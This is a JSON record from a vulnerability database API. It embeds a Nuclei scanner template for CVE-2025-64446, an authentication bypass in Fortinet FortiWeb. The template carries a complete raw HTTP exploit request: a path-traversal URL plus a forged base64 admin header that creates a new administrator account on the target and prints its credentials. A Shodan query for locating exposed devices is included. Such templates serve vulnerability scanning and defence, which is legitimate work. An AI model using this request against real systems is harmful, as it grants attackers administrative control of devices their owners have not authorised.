{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-64446/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-64446/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-64446/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-64446/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-64446/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-64446"},"sightings":{"href":"/api/v1/sightings/cve-2025-64446"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-64446.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-64446\n\ninfo:\n  name: FortiWeb - Authentication Bypass\n  author: DhiyaneshDk,watchTowr,rapid7,defusedcyber\n  severity: critical\n  description: |\n    A relative path traversal vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.1, FortiWeb 7.6.0 through 7.6.4, FortiWeb 7.4.0 through 7.4.9, FortiWeb 7.2.0 through 7.2.11, FortiWeb 7.0.0 through 7.0.11 may allow an attacker to execute administrative commands on the system via crafted HTTP or HTTPS requests.\n  impact: |\n    Attackers can execute administrative commands remotely, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest FortiWeb version beyond 8.0.1.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-64446\n    - https://x.com/defusedcyber/status/1975242250373517373\n    - https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass\n    - https://github.com/rapid7/metasploit-framework/pull/20698/files\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-64446\n    epss-score: 0.91838\n    epss-percentile: 0.99813\n    cwe-id: CWE-23\n    cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: title:\"FortiWeb - \"\n  tags: cve,cve2025,vuln,fortiweb,fortigate,intrusive,auth-bypass,kev,vkev\n\nvariables:\n  username: \"{{to_lower(rand_text_alpha(8))}}\"\n  password: \"{{to_lower(rand_text_alpha(8))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1\n        Host: {{Hostname}}\n        CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==\n        Content-Type: application/json\n\n        {\n            \"data\": {\n                \"q_type\": 1,\n                \"name\": \"{{username}}\",\n                \"access-profile\": \"prof_admin\",\n                \"access-profile_val\": \"0\",\n                \"last-name\": \"\",\n                \"first-name\": \"\",\n                \"email-address\": \"\",\n                \"phone-number\": \"\",\n                \"mobile-number\": \"\",\n                \"hidden\": 0,\n                \"comments\": \"\",\n                \"sz_dashboard\": -1,\n                \"type\": \"local-user\",\n                \"type_val\": \"0\",\n                \"admin-usergrp_val\": \"0\",\n                \"wildcard_val\": \"0\",\n                \"accprofile-override_val\": \"0\",\n                \"sshkey\": \"\",\n                \"trusthostv4\": \"127.0.0.1/8\",\n                \"trusthostv6\": \"::1/128\",\n                \"passwd-set-time\": 0,\n                \"history-password-pos\": 0,\n                \"history-password0\": \"\",\n                \"history-password1\": \"\",\n                \"history-password2\": \"\",\n                \"history-password3\": \"\",\n                \"history-password4\": \"\",\n                \"history-password5\": \"\",\n                \"history-password6\": \"\",\n                \"history-password7\": \"\",\n                \"history-password8\": \"\",\n                \"history-password9\": \"\",\n                \"force-password-change\": \"disable\",\n                \"force-password-change_val\": \"0\",\n                \"password\": \"{{password}}\"\n            }\n        }\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"results\":'\n          - '\"can_clone\":'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"USERNAME: \"+ username'\n          - '\"PASSWORD: \"+ password'\n# digest: 4a0a0047304502204278acbddc3c1ce8a3b3fd859c92406f6a91ae143a685007ed9134d10edd1e2d022100fc702f3299a18207439414eeb84c2bf3294c83c4f7d488f334d9181f54859fa3:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-64446"}